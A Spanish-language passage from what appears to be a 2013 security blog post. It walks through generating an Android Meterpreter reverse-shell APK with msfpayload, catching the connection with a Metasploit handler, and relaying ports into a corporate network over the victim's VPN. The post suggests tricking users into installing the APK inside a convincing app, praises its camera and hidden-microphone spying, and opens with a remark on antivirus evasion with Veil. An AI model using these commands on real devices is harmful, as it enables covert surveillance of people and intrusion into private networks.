No tengo muy claro que su capacidad para evadir los antivirus esté en las técnicas elegidas al arrancar Veil, o si es simplemente por el hecho de estar usando un convertidor de código Python a EXE. No he hecho la prueba, pero veo bastante probable que eso tenga gran parte de la culpa de este resultado.

Como la herramienta es pública, es cuestión de tiempo que las compañias AV lo analicen y sus binarios empiecen a ser detectados, así que... ¡disfrutáis mientras podáis!

Nuevo Meterpreter para Android

noreply@blogger.com (Jose Selvi) — Thu, 30 May 2013 19:15:00 +0000

Hace ya una buena temporada que venía haciendo un "marcaje de cerca" a ESTE "Pull Request" que existía en el GitHub sobre una iniciativa para portar el Meterpreter Java para Android, que aunque pueda parecer trivial porque las aplicaciones de Android se programan en Java, no es exactamente portable el Java "habitual" que el Java para la máquina virtual Dalvik que tenemos en nuestros Android.

Durante este tiempo he ido bajándome el fork de Metasploit de timwr, que ha sido una de las personas que más han contribuido en esta nueva versión del Meterpreter, y la verdad es que lleva tiempo siendo bastante estable, salvo algún error que me encontré que tuve que arreglar desempaquetando el APK, modificando alguna cosa y volviéndolo a empaquetar para su uso.

Finalmente, después de mucha espera, hoy mismo he visto que se ha hecho un commit de esta funcinalidad hace unos pocos días, por lo que en teoría ya tenéis la funcionalidad en el fork principal de Metasploit. Vamos a ver si es verdad:

$ ./msfupdate
[*]
[*] Attempting to update the Metasploit Framework...
[*]

[...]

create mode 100644 external/source/javapayload/androidpayload/library/src/androidpayload/stage/Meterpreter.java
create mode 100644 external/source/javapayload/androidpayload/library/src/androidpayload/stage/Shell.java
create mode 100644 external/source/javapayload/androidpayload/library/src/androidpayload/stage/Stage.java
create mode 100644 external/source/javapayload/androidpayload/library/src/com/metasploit/meterpreter/AndroidMeterpreter.java
create mode 100644 external/source/javapayload/androidpayload/library/src/com/metasploit/meterpreter/android/stdapi_fs_file_expand_path_android.java
create mode 100644 external/source/javapayload/androidpayload/library/src/com/metasploit/meterpreter/android/stdapi_sys_process_get_processes_android.java

La cosa pinta bien ¿no? Sí que parece que hay ficheros que nos hacen pensar que la funcionalidad del nuevo Meterpreter para Android ha sido incorporada. Vamos a ver la ayuda de msfpayload, a ver si confirma nuestra teoría:

$ ./msfpayload -l | grep -i android
android/meterpreter/reverse_tcp Connect back stager, Run a meterpreter server on Android
android/shell/reverse_tcp Connect back stager, Spawn a piped command shell (sh)

¡Genial! Parece que se acabó eso de tener que instalar dos forks de Metasploit, uno el estandar y el otro con esta funcionalidad. Vamos a generar un APK con un Meterpreter con reverse shell, a ver si conseguimos que alguien se lo instale y jugamos un poco con él :)

$ ./msfpayload android/meterpreter/reverse_tcp LHOST=11.22.33.44 R > meter.apk

Tenemos que decirle a msfpayload que use la salida RAW. Eso en otros payloads nos sacaría el shellcode sin formato, pero en el caso de Android nos saca el APK. Veámoslo:

$ file meter.apk
meter.apk: Zip archive data, at least v2.0 to extract

Nos dice que es un ZIP, pero es que en realidad un fichero APK no es más que un ZIP que contiene una serie de ficheros con un formato determinado. Ahora solo tenemos que instalar la aplicación en un Android, generalmente con algún tipo de engaño. Este APK es más bien una prueba de concepto, porque viene con un icono azul de Metasploit, pero podría esconderse el mismo código en una aplicación que "diera el pego" y el efecto sería el mismo. Al arrancar la aplicación se recibe la conexión inversa.

$ ./msfcli multi/handler PAYLOAD=android/meterpreter/reverse_tcp LHOST=0.0.0.0 E

Ya hemos comprobado que el Meterpreter para Android, funcionar funciona, pero lo que no sabemos es que funcionalidades tiene. Evidentemente, como sucede en las versiones Java y Linux, la funcionalidad es mucho más reducida que en la versión para Windows, pero aún así hay funcionalidades muy interesantes que nos pueden servir para ilustrar los riesgos de seguridad de un dispositivo móvil. Por ejemplo, viene con funcionalidad para realizar fotografías empleando tanto la cámara delantera como la trasera, si estuviera disponible. Otra funcionalidad que me pareció extremadamente interesante fue la posibilidad de activar el micrófono y usar el terminal como un micro oculto. Esta no conseguí hacerla funcionar en el teléfono que lo probé, pero supongo que poco a poco irán puliendo estos detalles.

Imagínatelo, comprometer un terminal móvil y poder escuchar y ver por donde va el usuario. Sin duda un gran trabajo de la gente que ha contribuido con este módulo y de la gente de Rapid7 al ayudar a su integración en Metasploit.

Otra de las funcionalidades que pueden impresionar menos a nivel mediático, pero que resultan muy peligroso a nivel corporativo, es la posibilidad de hacer port-relaying desde el terminal móvil. Digo que interesa a nivel corporativo porque, a un usuario "de casa", no se saca nada haciendo un port-relay, pero en una empresa... ¿qué ocurre si hacemos esto cuando el usuario tiene levantada la VPN que le da acceso a la red interna de la empresa?

meterpreter> portfwd add -l 80 -r 192.168.100.10 -p 80
[*] Local TCP relay created: 0.0.0.0:80 <-> 192.168.100.10:80

Lo dicho, un gran trabajo de la colaboración de la comunidad y del equipo de desarrollo de Metasploit que seguro que nos va a dar mucho juego.